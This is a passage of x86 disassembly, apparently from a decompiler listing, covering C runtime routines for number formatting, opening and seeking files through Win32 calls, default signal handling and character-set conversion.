loc_40B6A7: ; CODE XREF: sub_40B250+451j
movsx eax, [ebp+var_14]
add eax, 0Ah
mov [ebp+var_48], eax
jmp short loc_40B6BA
; ---------------------------------------------------------------------------
loc_40B6B3: ; CODE XREF: sub_40B250+455j
mov [ebp+var_48], 6
loc_40B6BA: ; CODE XREF: sub_40B250+461j
mov eax, [ebp+var_48]
mov edx, [ebp+arg_0]
mov edx, [edx+2Ch]
add eax, edx
mov [ebp+var_44], eax
cmp eax, 13h
jle short loc_40B6D4
mov [ebp+var_44], 13h
loc_40B6D4: ; CODE XREF: sub_40B250+47Bj
mov eax, [ebp+var_4]
lea edx, [eax+1]
mov [ebp+var_4], edx
mov byte ptr [eax], 30h
jmp loc_40B77A
; ---------------------------------------------------------------------------
loc_40B6E5: ; CODE XREF: sub_40B250+53Cj
fld [ebp+var_10]
call sub_40C350
mov dword ptr [ebp+var_50+4], eax
mov eax, [ebp+var_44]
sub eax, 8
mov [ebp+var_44], eax
test eax, eax
jle short loc_40B70E
fld [ebp+var_10]
fild dword ptr [ebp+var_50+4]
fsubp st(1), st
fmul dbl_41009C
fstp [ebp+var_10]
loc_40B70E: ; CODE XREF: sub_40B250+4ABj
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
mov dword ptr [ebp+var_50], 8
jmp short loc_40B749
; ---------------------------------------------------------------------------
loc_40B720: ; CODE XREF: sub_40B250+508j
push 0Ah
mov eax, dword ptr [ebp+var_50+4]
push eax
call sub_40C380
add esp, 8
mov dword ptr [ebp+var_58], eax
mov dword ptr [ebp+var_58+4], edx
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov edx, dword ptr [ebp+var_58+4]
add edx, 30h
mov [eax], dl
mov eax, dword ptr [ebp+var_58]
mov dword ptr [ebp+var_50+4], eax
loc_40B749: ; CODE XREF: sub_40B250+4CEj
cmp dword ptr [ebp+var_50+4], 0
jle short loc_40B75A
mov eax, dword ptr [ebp+var_50]
dec eax
mov dword ptr [ebp+var_50], eax
test eax, eax
jge short loc_40B720
loc_40B75A: ; CODE XREF: sub_40B250+4FDj
jmp short loc_40B766
; ---------------------------------------------------------------------------
loc_40B75C: ; CODE XREF: sub_40B250+51Fj
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov byte ptr [eax], 30h
loc_40B766: ; CODE XREF: sub_40B250:loc_40B75Aj
mov eax, dword ptr [ebp+var_50]
dec eax
mov dword ptr [ebp+var_50], eax
test eax, eax
jge short loc_40B75C
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
loc_40B77A: ; CODE XREF: sub_40B250+490j
cmp [ebp+var_44], 0
jle short loc_40B792
fld dbl_4100AC
fcomp [ebp+var_10]
fnstsw ax
sahf
jb loc_40B6E5
loc_40B792: ; CODE XREF: sub_40B250+52Ej
mov eax, [ebp+var_4]
lea edx, [ebp+var_3D]
sub eax, edx
mov [ebp+var_44], eax
lea eax, [ebp+var_3D]
mov [ebp+var_4], eax
add [ebp+var_14], 7
jmp short loc_40B7B5
; ---------------------------------------------------------------------------
loc_40B7AA: ; CODE XREF: sub_40B250+56Bj
dec [ebp+var_44]
sub [ebp+var_14], 1
inc [ebp+var_4]
loc_40B7B5: ; CODE XREF: sub_40B250+558j
mov eax, [ebp+var_4]
cmp byte ptr [eax], 30h
jz short loc_40B7AA
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_40B7C8
cmp al, 46h
jnz short loc_40B7D2
loc_40B7C8: ; CODE XREF: sub_40B250+572j
movsx eax, [ebp+var_14]
inc eax
mov dword ptr [ebp+var_50+4], eax
jmp short loc_40B7ED
; ---------------------------------------------------------------------------
loc_40B7D2: ; CODE XREF: sub_40B250+576j
mov al, [ebp+arg_4]
cmp al, 65h
jz short loc_40B7DD
cmp al, 45h
jnz short loc_40B7E6
loc_40B7DD: ; CODE XREF: sub_40B250+587j
mov dword ptr [ebp+var_50+4], 1
jmp short loc_40B7ED
; ---------------------------------------------------------------------------
loc_40B7E6: ; CODE XREF: sub_40B250+58Bj
mov dword ptr [ebp+var_50+4], 0
loc_40B7ED: ; CODE XREF: sub_40B250+580j
; sub_40B250+594j
mov eax, dword ptr [ebp+var_50+4]
mov edx, [ebp+arg_0]
mov edx, [edx+2Ch]
add eax, edx
mov [ebp+var_12], ax
movsx eax, [ebp+var_12]
cmp [ebp+var_44], eax
jge short loc_40B80C
mov eax, [ebp+var_44]
mov [ebp+var_12], ax
loc_40B80C: ; CODE XREF: sub_40B250+5B3j
cmp [ebp+var_12], 0
jl short loc_40B885
mov ax, [ebp+var_12]
movsx edx, ax
cmp edx, [ebp+var_44]
jge short loc_40B834
movsx eax, ax
mov edx, [ebp+var_4]
cmp byte ptr [edx+eax], 35h
jb short loc_40B834
mov dword ptr [ebp+var_58], 39h
jmp short loc_40B83B
; ---------------------------------------------------------------------------
loc_40B834: ; CODE XREF: sub_40B250+5CDj
; sub_40B250+5D9j
mov dword ptr [ebp+var_58], 30h
loc_40B83B: ; CODE XREF: sub_40B250+5E2j
mov eax, dword ptr [ebp+var_58]
mov byte ptr [ebp+var_50+3], al
movsx eax, [ebp+var_12]
mov dword ptr [ebp+var_58+4], eax
jmp short loc_40B84F
; ---------------------------------------------------------------------------
loc_40B84A: ; CODE XREF: sub_40B250+60Fj
sub [ebp+var_12], 1
loc_40B84F: ; CODE XREF: sub_40B250+5F8j
mov eax, dword ptr [ebp+var_58+4]
dec eax
mov dword ptr [ebp+var_58+4], eax
mov edx, [ebp+var_4]
mov cl, byte ptr [ebp+var_50+3]
cmp [edx+eax], cl
jz short loc_40B84A
cmp byte ptr [ebp+var_50+3], 39h
jnz short loc_40B872
mov eax, dword ptr [ebp+var_58+4]
mov edx, [ebp+var_4]
add eax, edx
add byte ptr [eax], 1
loc_40B872: ; CODE XREF: sub_40B250+615j
cmp dword ptr [ebp+var_58+4], 0
jge short loc_40B885
dec [ebp+var_4]
add [ebp+var_12], 1
add [ebp+var_14], 1
loc_40B885: ; CODE XREF: sub_40B250+161j
; sub_40B250+365j ...
movsx eax, [ebp+var_14]
push eax
movsx eax, [ebp+var_12]
push eax
mov eax, [ebp+var_4]
push eax
movzx eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40C3B0
add esp, 14h
loc_40B8A4: ; CODE XREF: sub_40B250+B4j
; sub_40B250+106j
mov esp, ebp
pop ebp
retn
sub_40B250 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8B0 proc near ; CODE XREF: sub_40A5E0+5Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
lea ebx, [ebp+arg_8]
lea eax, [ebx+4]
mov ebx, eax
mov esi, [eax-4]
push esi
push 40h
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40B8E0
add esp, 10h
pop esi
pop ebx
pop ebp
retn
sub_40B8B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B8E0 proc near ; CODE XREF: sub_40B8B0+1Bp
var_3C = dword ptr -3Ch
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 3Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov [ebp+var_10], 0Ch
mov [ebp+var_C], 0
test ebx, 80h
jz short loc_40B90F
mov [ebp+var_8], 0
mov [ebp+var_1], 10h
jmp short loc_40B91A
; ---------------------------------------------------------------------------
loc_40B90F: ; CODE XREF: sub_40B8E0+20j
mov [ebp+var_8], 1
mov [ebp+var_1], 0
loc_40B91A: ; CODE XREF: sub_40B8E0+2Dj
test ebx, 8000h
jnz short loc_40B92E
test ebx, 4000h
jz short loc_40B92E
or [ebp+var_1], 80h
loc_40B92E: ; CODE XREF: sub_40B8E0+40j
; sub_40B8E0+48j
mov edi, ebx
and edi, 3
jz short loc_40B941
cmp edi, 1
jz short loc_40B94A
cmp edi, 2
jz short loc_40B953
jmp short loc_40B95C
; ---------------------------------------------------------------------------
loc_40B941: ; CODE XREF: sub_40B8E0+53j
mov [ebp+var_20], 80000000h
jmp short loc_40B96F
; ---------------------------------------------------------------------------
loc_40B94A: ; CODE XREF: sub_40B8E0+58j
mov [ebp+var_20], 40000000h
jmp short loc_40B96F
; ---------------------------------------------------------------------------
loc_40B953: ; CODE XREF: sub_40B8E0+5Dj
mov [ebp+var_20], 0C0000000h
jmp short loc_40B96F
; ---------------------------------------------------------------------------
loc_40B95C: ; CODE XREF: sub_40B8E0+5Fj
call sub_4083A0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_40BCB9
; ---------------------------------------------------------------------------
loc_40B96F: ; CODE XREF: sub_40B8E0+68j
; sub_40B8E0+71j ...
mov eax, [ebp+arg_8]
cmp eax, 20h
jz short loc_40B99C
jg short loc_40B981
cmp [ebp+arg_8], 10h
jz short loc_40B993
jmp short loc_40B9B7
; ---------------------------------------------------------------------------
loc_40B981: ; CODE XREF: sub_40B8E0+97j
mov eax, [ebp+arg_8]
cmp eax, 30h
jz short loc_40B9A5
jl short loc_40B9B7
cmp [ebp+arg_8], 40h
jz short loc_40B9AE
jmp short loc_40B9B7
; ---------------------------------------------------------------------------
loc_40B993: ; CODE XREF: sub_40B8E0+9Dj
mov [ebp+var_28], 0
jmp short loc_40B9CA
; ---------------------------------------------------------------------------
loc_40B99C: ; CODE XREF: sub_40B8E0+95j
mov [ebp+var_28], 1
jmp short loc_40B9CA
; ---------------------------------------------------------------------------
loc_40B9A5: ; CODE XREF: sub_40B8E0+A7j
mov [ebp+var_28], 2
jmp short loc_40B9CA
; ---------------------------------------------------------------------------
loc_40B9AE: ; CODE XREF: sub_40B8E0+AFj
mov [ebp+var_28], 3
jmp short loc_40B9CA
; ---------------------------------------------------------------------------
loc_40B9B7: ; CODE XREF: sub_40B8E0+9Fj
; sub_40B8E0+A9j ...
call sub_4083A0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_40BCB9
; ---------------------------------------------------------------------------
loc_40B9CA: ; CODE XREF: sub_40B8E0+BAj
; sub_40B8E0+C3j ...
mov eax, ebx
and eax, 700h
mov [ebp+var_3C], eax
cmp eax, 300h
jz short loc_40BA4E
jg short loc_40B9FC
mov eax, [ebp+var_3C]
cmp eax, 100h
jz short loc_40BA33
jg short loc_40B9F1
cmp [ebp+var_3C], 0
jz short loc_40BA2A
jmp short loc_40BA57
; ---------------------------------------------------------------------------
loc_40B9F1: ; CODE XREF: sub_40B8E0+107j
cmp [ebp+var_3C], 200h
jz short loc_40BA45
jmp short loc_40BA57
; ---------------------------------------------------------------------------
loc_40B9FC: ; CODE XREF: sub_40B8E0+FBj
mov eax, [ebp+var_3C]
cmp eax, 500h
jz short loc_40BA3C
jg short loc_40BA13
cmp [ebp+var_3C], 400h
jz short loc_40BA2A
jmp short loc_40BA57
; ---------------------------------------------------------------------------
loc_40BA13: ; CODE XREF: sub_40B8E0+126j
mov eax, [ebp+var_3C]
cmp eax, 600h
jz short loc_40BA45
jl short loc_40BA57
cmp [ebp+var_3C], 700h
jz short loc_40BA3C
jmp short loc_40BA57
; ---------------------------------------------------------------------------
loc_40BA2A: ; CODE XREF: sub_40B8E0+10Dj
; sub_40B8E0+12Fj
mov [ebp+var_24], 3
jmp short loc_40BA6A
; ---------------------------------------------------------------------------
loc_40BA33: ; CODE XREF: sub_40B8E0+105j
mov [ebp+var_24], 4
jmp short loc_40BA6A
; ---------------------------------------------------------------------------
loc_40BA3C: ; CODE XREF: sub_40B8E0+124j
; sub_40B8E0+146j
mov [ebp+var_24], 1
jmp short loc_40BA6A
; ---------------------------------------------------------------------------
loc_40BA45: ; CODE XREF: sub_40B8E0+118j
; sub_40B8E0+13Bj
mov [ebp+var_24], 5
jmp short loc_40BA6A
; ---------------------------------------------------------------------------
loc_40BA4E: ; CODE XREF: sub_40B8E0+F9j
mov [ebp+var_24], 2
jmp short loc_40BA6A
; ---------------------------------------------------------------------------
loc_40BA57: ; CODE XREF: sub_40B8E0+10Fj
; sub_40B8E0+11Aj ...
call sub_4083A0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_40BCB9
; ---------------------------------------------------------------------------
loc_40BA6A: ; CODE XREF: sub_40B8E0+151j
; sub_40B8E0+15Aj ...
mov [ebp+var_14], 80h
test ebx, 100h
jz short loc_40BA98
lea eax, [ebp+arg_C]
mov [ebp+var_2C], eax
add eax, 4
mov [ebp+var_2C], eax
mov eax, [eax-4]
mov [ebp+var_30], eax
test byte ptr [ebp+var_30], 80h
jnz short loc_40BA98
mov [ebp+var_14], 1
loc_40BA98: ; CODE XREF: sub_40B8E0+197j
; sub_40B8E0+1AFj
test ebx, 40h
jz short loc_40BAAE
or [ebp+var_14], 4000000h
or [ebp+var_20], 10000h
loc_40BAAE: ; CODE XREF: sub_40B8E0+1BEj
test ebx, 1000h
jz short loc_40BABD
or [ebp+var_14], 100h
loc_40BABD: ; CODE XREF: sub_40B8E0+1D4j
test ebx, 20h
jz short loc_40BACE
or [ebp+var_14], 8000000h
jmp short loc_40BADD
; ---------------------------------------------------------------------------
loc_40BACE: ; CODE XREF: sub_40B8E0+1E3j
test ebx, 10h
jz short loc_40BADD
or [ebp+var_14], 10000000h
loc_40BADD: ; CODE XREF: sub_40B8E0+1ECj
; sub_40B8E0+1F4j
call sub_40A8D0
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BAFC
call sub_4083A0
mov dword ptr [eax], 18h
or eax, 0FFFFFFFFh
jmp loc_40BCB9
; ---------------------------------------------------------------------------
loc_40BAFC: ; CODE XREF: sub_40B8E0+207j
push 0
mov eax, [ebp+var_14]
push eax
mov eax, [ebp+var_24]
push eax
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+var_28]
push eax
mov eax, [ebp+var_20]
push eax
mov eax, [ebp+arg_0]
push eax
call dword_411DD0 ; CreateFileA
mov [ebp+var_18], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BB42
call dword_411CE8 ; RtlGetLastWin32Error
push eax
call sub_408240
pop ecx
push esi
call sub_40ACE0
pop ecx
or eax, 0FFFFFFFFh
jmp loc_40BCB9
; ---------------------------------------------------------------------------
loc_40BB42: ; CODE XREF: sub_40B8E0+244j
mov eax, [ebp+var_18]
push eax
call dword_411DEC ; GetFileType
mov [ebp+var_1C], eax
test eax, eax
jnz short loc_40BB79
mov eax, [ebp+var_18]
push eax
call dword_411CF8 ; CloseHandle
call dword_411CE8 ; RtlGetLastWin32Error
push eax
call sub_408240
pop ecx
push esi
call sub_40ACE0
pop ecx
or eax, 0FFFFFFFFh
jmp loc_40BCB9
; ---------------------------------------------------------------------------
loc_40BB79: ; CODE XREF: sub_40B8E0+271j
cmp [ebp+var_1C], 2
jnz short loc_40BB85
or [ebp+var_1], 40h
jmp short loc_40BB8F
; ---------------------------------------------------------------------------
loc_40BB85: ; CODE XREF: sub_40B8E0+29Dj
cmp [ebp+var_1C], 3
jnz short loc_40BB8F
or [ebp+var_1], 8
loc_40BB8F: ; CODE XREF: sub_40B8E0+2A3j
; sub_40B8E0+2A9j
mov eax, [ebp+var_18]
push eax
push esi
call sub_40AAB0
add esp, 8
or [ebp+var_1], 1
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
mov cl, [ebp+var_1]
mov [edx+eax+4], cl
movzx eax, [ebp+var_1]
test eax, 48h
jnz loc_40BC87
test eax, 80h
jz loc_40BC87
test ebx, 2
jz loc_40BC87
push 2
push 0FFFFFFFFh
push esi
call sub_40BDF0
add esp, 0Ch
mov [ebp+var_34], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BC1D
call dword_411CE8 ; RtlGetLastWin32Error
cmp eax, 83h
jz loc_40BC87
push esi
call sub_408D80
pop ecx
push esi
call sub_40ACE0
pop ecx
or eax, 0FFFFFFFFh
jmp loc_40BCB9
; ---------------------------------------------------------------------------
loc_40BC1D: ; CODE XREF: sub_40B8E0+314j
mov [ebp+var_35], 0
push 1
lea eax, [ebp+var_35]
push eax
push esi
call sub_40C890
add esp, 0Ch
test eax, eax
jnz short loc_40BC5F
cmp [ebp+var_35], 1Ah
jnz short loc_40BC5F
mov eax, [ebp+var_34]
push eax
push esi
call sub_40CC50
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_40BC5F
push esi
call sub_408D80
pop ecx
push esi
call sub_40ACE0
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_40BCB9
; ---------------------------------------------------------------------------
loc_40BC5F: ; CODE XREF: sub_40B8E0+352j
; sub_40B8E0+358j ...
push 0
push 0
push esi
call sub_40BDF0
add esp, 0Ch
mov [ebp+var_34], eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BC87
push esi
call sub_408D80
pop ecx
push esi
call sub_40ACE0
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_40BCB9
; ---------------------------------------------------------------------------
loc_40BC87: ; CODE XREF: sub_40B8E0+2E4j
; sub_40B8E0+2EFj ...
test [ebp+var_1], 48h
jnz short loc_40BCB0
test ebx, 8
jz short loc_40BCB0
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
or byte ptr [eax], 20h
loc_40BCB0: ; CODE XREF: sub_40B8E0+3ABj
; sub_40B8E0+3B3j
push esi
call sub_40ACE0
pop ecx
mov eax, esi
loc_40BCB9: ; CODE XREF: sub_40B8E0+8Aj
; sub_40B8E0+E5j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40B8E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BCC0 proc near ; CODE XREF: sub_40A650+2p
var_14 = dword ptr -14h
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push 1
mov eax, [ebp+arg_0]
push eax
call sub_40AD50
add esp, 8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40BCE7
or eax, 0FFFFFFFFh
jmp loc_40BDE4
; ---------------------------------------------------------------------------
loc_40BCE7: ; CODE XREF: sub_40BCC0+1Dj
cmp ebx, 1
jz loc_40BDE2
test ebx, ebx
jz short loc_40BD0E
push 0
mov eax, [ebp+arg_0]
push eax
call sub_40AD50
add esp, 8
mov eax, [ebp+arg_0]
push eax
call ebx
pop ecx
jmp loc_40BDE2
; ---------------------------------------------------------------------------
loc_40BD0E: ; CODE XREF: sub_40BCC0+32j
mov eax, [ebp+arg_0]
cmp eax, 2
jl short loc_40BD63
cmp eax, 0Bh
jg short loc_40BD22
jmp dword ptr byte_4100E0[eax*4]
; ---------------------------------------------------------------------------
loc_40BD22: ; CODE XREF: sub_40BCC0+59j
cmp [ebp+arg_0], 0Fh
jz short loc_40BD5A
jmp short loc_40BD63
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aAbort ; "abort"
jmp loc_40BDB7
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aArithmeticErro ; "arithmetic error"
jmp short loc_40BDB7
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInvalidExecuta ; "invalid executable code"
jmp short loc_40BDB7
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInterruption ; "interruption"
jmp short loc_40BDB7
; ---------------------------------------------------------------------------
mov [ebp+var_4], offset aInvalidStorage ; "invalid storage access"
jmp short loc_40BDB7
; ---------------------------------------------------------------------------
loc_40BD5A: ; CODE XREF: sub_40BCC0+66j
mov [ebp+var_4], offset aTerminationReq ; "termination request"
jmp short loc_40BDB7
; ---------------------------------------------------------------------------
loc_40BD63: ; CODE XREF: sub_40BCC0+54j
; sub_40BCC0+68j
lea eax, [ebp+var_5]
mov [ebp+var_4], eax
mov [ebp+var_5], 0
loc_40BD6D: ; CODE XREF: sub_40BCC0+E3j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_14], eax
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov ecx, 0Ah
cdq
idiv ecx
lea eax, [edx+30h]
mov edx, [ebp+var_14]
mov [edx], al
mov eax, [ebp+arg_0]
push eax
mov edx, 66666667h
imul edx
pop eax
shr eax, 1Fh
sar edx, 2
add eax, edx
mov [ebp+arg_0], eax
test eax, eax
jnz short loc_40BD6D
push offset dword_411324
push offset aSignal ; "signal #"
call sub_40CE00
add esp, 8
loc_40BDB7: ; CODE XREF: sub_40BCC0+71j
; sub_40BCC0+7Dj ...
push offset dword_411324
mov eax, [ebp+var_4]
push eax
call sub_40CE00
add esp, 8
push offset dword_411324
push offset aTerminating ; " -- terminating\n"
call sub_40CE00
add esp, 8
push 1
call sub_4079E0
pop ecx
loc_40BDE2: ; CODE XREF: sub_40BCC0+2Aj
; sub_40BCC0+49j
xor eax, eax
loc_40BDE4: ; CODE XREF: sub_40BCC0+22j
pop ebx
mov esp, ebp
pop ebp
retn
sub_40BCC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BDF0 proc near ; CODE XREF: sub_40A670+4Bp
; sub_40B8E0+306p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
push ebx
call sub_40AB60
pop ecx
mov edi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BE19
call sub_4083A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40BE62
; ---------------------------------------------------------------------------
loc_40BE19: ; CODE XREF: sub_40BDF0+17j
mov eax, [ebp+arg_8]
push eax
push 0
mov eax, [ebp+arg_4]
push eax
push edi
call dword_411E14 ; SetFilePointer
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_40BE45
call dword_411CE8 ; RtlGetLastWin32Error
push eax
call sub_408240
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_40BE62
; ---------------------------------------------------------------------------
loc_40BE45: ; CODE XREF: sub_40BDF0+41j
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+4]
and byte ptr [eax], 0FDh
mov eax, esi
loc_40BE62: ; CODE XREF: sub_40BDF0+27j
; sub_40BDF0+53j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40BDF0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, [ebp+8]
cmp ebx, dword_413A88
jnb short loc_40BE9B
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jnz short loc_40BEAB
loc_40BE9B: ; CODE XREF: DMN0:0040BE7Ej
call sub_4083A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_40BECE
; ---------------------------------------------------------------------------
loc_40BEAB: ; CODE XREF: DMN0:0040BE99j
push ebx
call sub_40AC80
pop ecx
mov eax, [ebp+10h]
push eax
mov eax, [ebp+0Ch]
push eax
push ebx
call sub_40BDF0
add esp, 0Ch
mov esi, eax
push ebx
call sub_40ACE0
pop ecx
mov eax, esi
loc_40BECE: ; CODE XREF: DMN0:0040BEA9j
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BEE0 proc near ; CODE XREF: sub_40AEB0+9Bp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
cmp off_411924, 0
jnz loc_40BFC7
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
cmp [ebp+arg_0], 0
jnz short loc_40BF1B
mov eax, [ebp+arg_8]
mov ecx, dword_410194
mov ebx, dword_410198
mov [eax], ecx
mov [eax+4], ebx
xor eax, eax
jmp loc_40C11D
; ---------------------------------------------------------------------------
loc_40BF1B: ; CODE XREF: sub_40BEE0+1Ej
test [ebp+arg_4], 0FF80h
jnz short loc_40BF3B
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
mov [eax], dl
mov [ebp+var_4], 0
jmp short loc_40BFB4
; ---------------------------------------------------------------------------
loc_40BF3B: ; CODE XREF: sub_40BEE0+41j
test [ebp+arg_4], 0F800h
jnz short loc_40BF64
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
sar edx, 6
or edx, 0C0h
mov [eax], dl
mov [ebp+var_4], 1
jmp short loc_40BFB4
; ---------------------------------------------------------------------------
loc_40BF64: ; CODE XREF: sub_40BEE0+61j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
movzx edx, [ebp+arg_4]
sar edx, 0Ch
and edx, 0Fh
or edx, 0E0h
mov [eax], dl
mov [ebp+var_4], 2
jmp short loc_40BFB4
; ---------------------------------------------------------------------------
loc_40BF88: ; CODE XREF: sub_40BEE0+D8j
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
mov edx, [ebp+var_4]
dec edx
mov [ebp+var_4], edx
movzx ecx, [ebp+arg_4]
mov [ebp+var_C], ecx
lea ecx, [edx+edx*2]
add ecx, ecx
mov edx, [ebp+var_C]
sar edx, cl
and edx, 3Fh
or edx, 80h
mov [eax], dl
loc_40BFB4: ; CODE XREF: sub_40BEE0+59j
; sub_40BEE0+82j ...
cmp [ebp+var_4], 0
jg short loc_40BF88
mov eax, [ebp+var_8]
mov edx, [ebp+arg_0]
sub eax, edx
jmp loc_40C11D
; ---------------------------------------------------------------------------
loc_40BFC7: ; CODE XREF: sub_40BEE0+Ej
mov eax, [ebp+arg_8]
movzx eax, word ptr [eax+6]
mov byte ptr [ebp+var_4+3], al
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov [ebp+var_8], 0
cmp [ebp+arg_0], 0
jnz short loc_40C012
mov eax, [ebp+arg_8]
mov ecx, dword_410194
mov ebx, dword_410198
mov [eax], ecx
mov [eax+4], ebx
mov eax, off_411924
movzx eax, word ptr [eax]
and eax, 0F00h
jmp loc_40C11D
; ---------------------------------------------------------------------------
loc_40C012: ; CODE XREF: sub_40BEE0+10Aj
; sub_40BEE0+229j
mov al, byte ptr [ebp+var_4+3]
cmp al, 10h
jnb short loc_40C058
movzx eax, al
mov eax, off_411964[eax*4]
mov [ebp+var_18], eax
test eax, eax
jz short loc_40C058
movzx eax, byte_4118A0
cmp [ebp+var_8], eax
jge short loc_40C058
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
cmp eax, 0FF0h
jge short loc_40C058
movzx eax, byte ptr [ebp+arg_4]
mov edx, [ebp+var_18]
mov ax, [edx+eax*2]
mov [ebp+var_12], ax
test ax, ax
jnz short loc_40C06B
loc_40C058: ; CODE XREF: sub_40BEE0+137j
; sub_40BEE0+148j ...
call sub_4083A0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_40C11D
; ---------------------------------------------------------------------------
loc_40C06B: ; CODE XREF: sub_40BEE0+176j
movzx eax, [ebp+var_12]
mov edx, eax
and edx, 0F00h
sar edx, 8
mov byte ptr [ebp+var_4+3], dl
test eax, 8000h
jz short loc_40C097
movzx eax, [ebp+arg_4]
and eax, 0FFFFFF00h
movzx edx, byte ptr [ebp+var_12]
or eax, edx
mov [ebp+arg_4], ax
loc_40C097: ; CODE XREF: sub_40BEE0+1A2j
test [ebp+var_12], 1000h
jz short loc_40C0B9
movzx eax, [ebp+arg_4]
mov edx, eax
shl edx, 8
sar eax, 8
and eax, 0FFh
or edx, eax
mov ax, dx
mov [ebp+arg_4], ax
loc_40C0B9: ; CODE XREF: sub_40BEE0+1BDj
test [ebp+var_12], 2000h
jz short loc_40C0FD
mov eax, [ebp+var_8]
lea edx, [eax+1]
mov [ebp+var_8], edx
test [ebp+var_12], 0FFh
jz short loc_40C0DB
movzx edx, [ebp+var_12]
mov [ebp+var_1C], edx
jmp short loc_40C0E2
; ---------------------------------------------------------------------------
loc_40C0DB: ; CODE XREF: sub_40BEE0+1F0j
movzx edx, [ebp+arg_4]
mov [ebp+var_1C], edx
loc_40C0E2: ; CODE XREF: sub_40BEE0+1F9j
mov edx, [ebp+var_1C]
mov ecx, [ebp+arg_0]
mov [ecx+eax], dl
test dl, dl
jnz short loc_40C0F6
mov [ebp+var_10], 1
loc_40C0F6: ; CODE XREF: sub_40BEE0+20Dj
mov [ebp+var_C], 0
loc_40C0FD: ; CODE XREF: sub_40BEE0+1DFj
test [ebp+var_12], 4000h
jnz short loc_40C10F
cmp [ebp+var_10], 0
jz loc_40C012
